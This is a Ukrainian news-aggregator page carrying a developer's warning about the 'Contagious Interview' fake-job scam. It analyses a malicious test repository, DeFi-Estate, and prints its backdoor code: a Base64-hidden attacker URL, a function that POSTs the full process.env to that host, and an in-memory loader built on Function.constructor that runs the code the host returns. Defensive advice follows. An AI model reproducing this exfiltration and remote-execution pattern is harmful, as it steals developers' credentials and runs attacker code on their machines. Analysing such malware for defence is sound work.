Вход на сайт

Просмотр новости

Найдите то, что Вас интересует

Скам під час тестових на інтерв'ю

Дата публикации: 06-06-2026 09:00:05

Як за один npm run dev втратити ключі від AWS та GitHub
Останнім часом на ринку праці з’явився новий тип «роботодавців», спілкування з якими закінчується не офером, а повною компрометацією вашої робочої машини. Мова йде про відому кампанію Contagious Interview, яка масово таргетить розробників у LinkedIn, Telegram та Upwork (особливо у сферах Web3, AI та FinTech).
Нещодавно мені до рук потрапив один із таких тестових репозиторіїв під назвою DeFi-Estate. Після швидкого аналізу коду стало зрозуміло: це класичний, професійно написаний бекдор.
Ділюся технічним розбором, щоб ви не повторили чужих помилок.
Технічний розбір: Як це влаштовано всередині
Зловмисники розраховують на те, що кандидат захоче запустити проєкт локально, щоб подивитися, як він працює. Щойно ви піднімаєте бекенд, у файлі dataService.js автоматично відпрацьовується функція verifyToken().
Давайте подивимось на фрагмент коду:
async function verifyToken(req, res) {
const { data } = persistence;
const tokenAddress = "aHR0cHM6Ly9pcC1jaGVja291dC1vbmUudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==";
verify(parseToken(tokenAddress))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
return { success: true, data: responseData };
})
Етап 1: Декодування та ексфільтрація даних
Рядок tokenAddress — це звичайний Base64. Якщо його декодувати, ми отримаємо URL-адресу зловмисників:
https://ip-checkout-one.vercel.app/api/ip-check-encrypted/3aeb34a39
Далі функція викликає verify(), яка захована у файлі users.js. Ось її логіка:
async function verify(api) {
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });
};
Вона бере весь ваш process.env — з усіма вашими локальними токенами, паролями до баз даних, приватними ключами AWS чи GitHub — і відправляє на сервер зловмисників через POST-запит.
Етап 2: Remote Code Execution (RCE) в оперативній пам’яті
Найцікавіше відбувається далі. Сервер зловмисників повертає зашифрований або обфускований JavaScript-код (responseData).
Замість банального та помітного eval(), вони використовують динамічний конструктор функцій:const executor = new (Function.constructor)("require«, responseData);
Це дозволяє виконувати шкідливий скрипт безпосередньо в оперативній пам’яті процесу Node.js. Стандартні антивіруси цього не бачать, бо на жорсткий диск нічого не записується. Цей код може завантажити RAT (Remote Access Trojan), злити сесії з браузера, вигребти криптогаманці або встановити persistence-скрипти у вашій системі.
Навіщо їм це потрібно?
Креденшели хмарних провайдерів: AWS, GCP, Azure токени з файлів на кшталт ~/.aws/credentials.
Доступ до репозиторіїв компанії: Через ваші SSH ключі до GitHub/GitLab, щоб спробувати закинути шкідливе ПЗ вже в код вашого поточного роботодавця.
Криптогаманці: скрипти автоматично сканують розширення браузерів (MetaMask тощо) і викачують seed-фрази.
Правила безпеки:
Якщо ви шукаєте роботу, змінюйте підхід до запуску чужого коду:
Забудьте про запуск на «голій» системі: ніколи не пишіть npm install для тестових завдань від незнайомих компаній безпосередньо на своєму робочому чи особистому комп’ютері.
Проводьте швидкий аудит коду за допомогою ШІ.
Використовуйте ізоляцію: запускайте проєкт виключно в Docker-контейнері (з обмеженим доступом до мережі), у хмарних сендбоксах на кшталт GitHub Codespaces, або на окремій віртуальній машині (VirtualBox, UTM), яку не шкода видалити.

Основное содержимое страницы с новостью.

Скам під час тестових на інтерв’ю

Як за один npm run dev втратити ключі від AWS та GitHub

Останнім часом на ринку праці з’явився новий тип «роботодавців», спілкування з якими закінчується не офером, а повною компрометацією вашої робочої машини. Мова йде про відому кампанію Contagious Interview, яка масово таргетить розробників у LinkedIn, Telegram та Upwork (особливо у сферах Web3, AI та FinTech).

Нещодавно мені до рук потрапив один із таких тестових репозиторіїв під назвою DeFi-Estate. Після швидкого аналізу коду стало зрозуміло: це класичний, професійно написаний бекдор.

Ділюся технічним розбором, щоб ви не повторили чужих помилок.

Технічний розбір: Як це влаштовано всередині

Зловмисники розраховують на те, що кандидат захоче запустити проєкт локально, щоб подивитися, як він працює. Щойно ви піднімаєте бекенд, у файлі dataService.js автоматично відпрацьовується функція verifyToken().

Давайте подивимось на фрагмент коду:

async function verifyToken(req, res) {
const { data } = persistence;
const tokenAddress = "aHR0cHM6Ly9pcC1jaGVja291dC1vbmUudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==";
verify(parseToken(tokenAddress))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
return { success: true, data: responseData };
})

Етап 1: Декодування та ексфільтрація даних

Рядок tokenAddress — це звичайний Base64. Якщо його декодувати, ми отримаємо URL-адресу зловмисників:

https://ip-checkout-one.vercel.app/api/ip-check-encrypted/3aeb34a39

Далі функція викликає verify(), яка захована у файлі users.js. Ось її логіка:

async function verify(api) {
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });
};

Вона бере весь ваш process.env — з усіма вашими локальними токенами, паролями до баз даних, приватними ключами AWS чи GitHub — і відправляє на сервер зловмисників через POST-запит.

Етап 2: Remote Code Execution (RCE) в оперативній пам’яті

Найцікавіше відбувається далі. Сервер зловмисників повертає зашифрований або обфускований JavaScript-код (responseData).

Замість банального та помітного eval(), вони використовують динамічний конструктор функцій:const executor = new (Function.constructor)("require«, responseData);

Це дозволяє виконувати шкідливий скрипт безпосередньо в оперативній пам’яті процесу Node.js. Стандартні антивіруси цього не бачать, бо на жорсткий диск нічого не записується. Цей код може завантажити RAT (Remote Access Trojan), злити сесії з браузера, вигребти криптогаманці або встановити persistence-скрипти у вашій системі.

Навіщо їм це потрібно?

Креденшели хмарних провайдерів: AWS, GCP, Azure токени з файлів на кшталт ~/.aws/credentials.

Доступ до репозиторіїв компанії: Через ваші SSH ключі до GitHub/GitLab, щоб спробувати закинути шкідливе ПЗ вже в код вашого поточного роботодавця.

Криптогаманці: скрипти автоматично сканують розширення браузерів (MetaMask тощо) і викачують seed-фрази.

Правила безпеки:

Якщо ви шукаєте роботу, змінюйте підхід до запуску чужого коду:

Забудьте про запуск на «голій» системі: ніколи не пишіть npm install для тестових завдань від незнайомих компаній безпосередньо на своєму робочому чи особистому комп’ютері.
Проводьте швидкий аудит коду за допомогою ШІ.

Використовуйте ізоляцію: запускайте проєкт виключно в Docker-контейнері (з обмеженим доступом до мережі), у хмарних сендбоксах на кшталт GitHub Codespaces, або на окремій віртуальній машині (VirtualBox, UTM), яку не шкода видалити.

Схожие новости

#Наименование новостиТональностьИнформативностьДата публикации
1Я проаналізував 1500 вакансій і зрозумів одну річ: більшість кандидатів покращують резюме не там012.3606-08-2026
23+ роки досвіду і реальність ринку: чому зараз складно змінити компанію як Frontend / Full-stack09.1723-06-2026
3В одному з продуктів Headway Inc усі розробники стали продакт-інженерами — що це означає для команди09.7928-07-2026
4Кар'єра в кібербезпеці: з чого почати та які зараз реалії ринку?08.604-08-2026
5Як отримати роботу в IT-маркетингу, коли конкуренція зашкалює: поради того, хто найняв понад 100 спеціалістів014.2807-06-2026
6Зарплати фахівців з Design, Leadership, HR, Recruitment, Marketing, Sales, Support та інших — літо 2026012.618-08-2026
7Чому джунам сьогодні так складно знайти першу роботу?-17.8805-08-2026
8Security advisories: Drupal core - Moderately critical - Cross-site scripting - SA-CORE-2026-0110715-07-2026
9ТОПовые цели хакеров. Как защитить первых лиц компании от кибератак08.7124-07-2026
10Spy agencies say AI can help combat AI cyber risks. But don’t forget the basics0624-06-2026

Классификация: Мнения. Схожих патентов: 0. Схожих новостей: 10. Тональность: 0. Информативность: 10.1. Источник: dou.ua.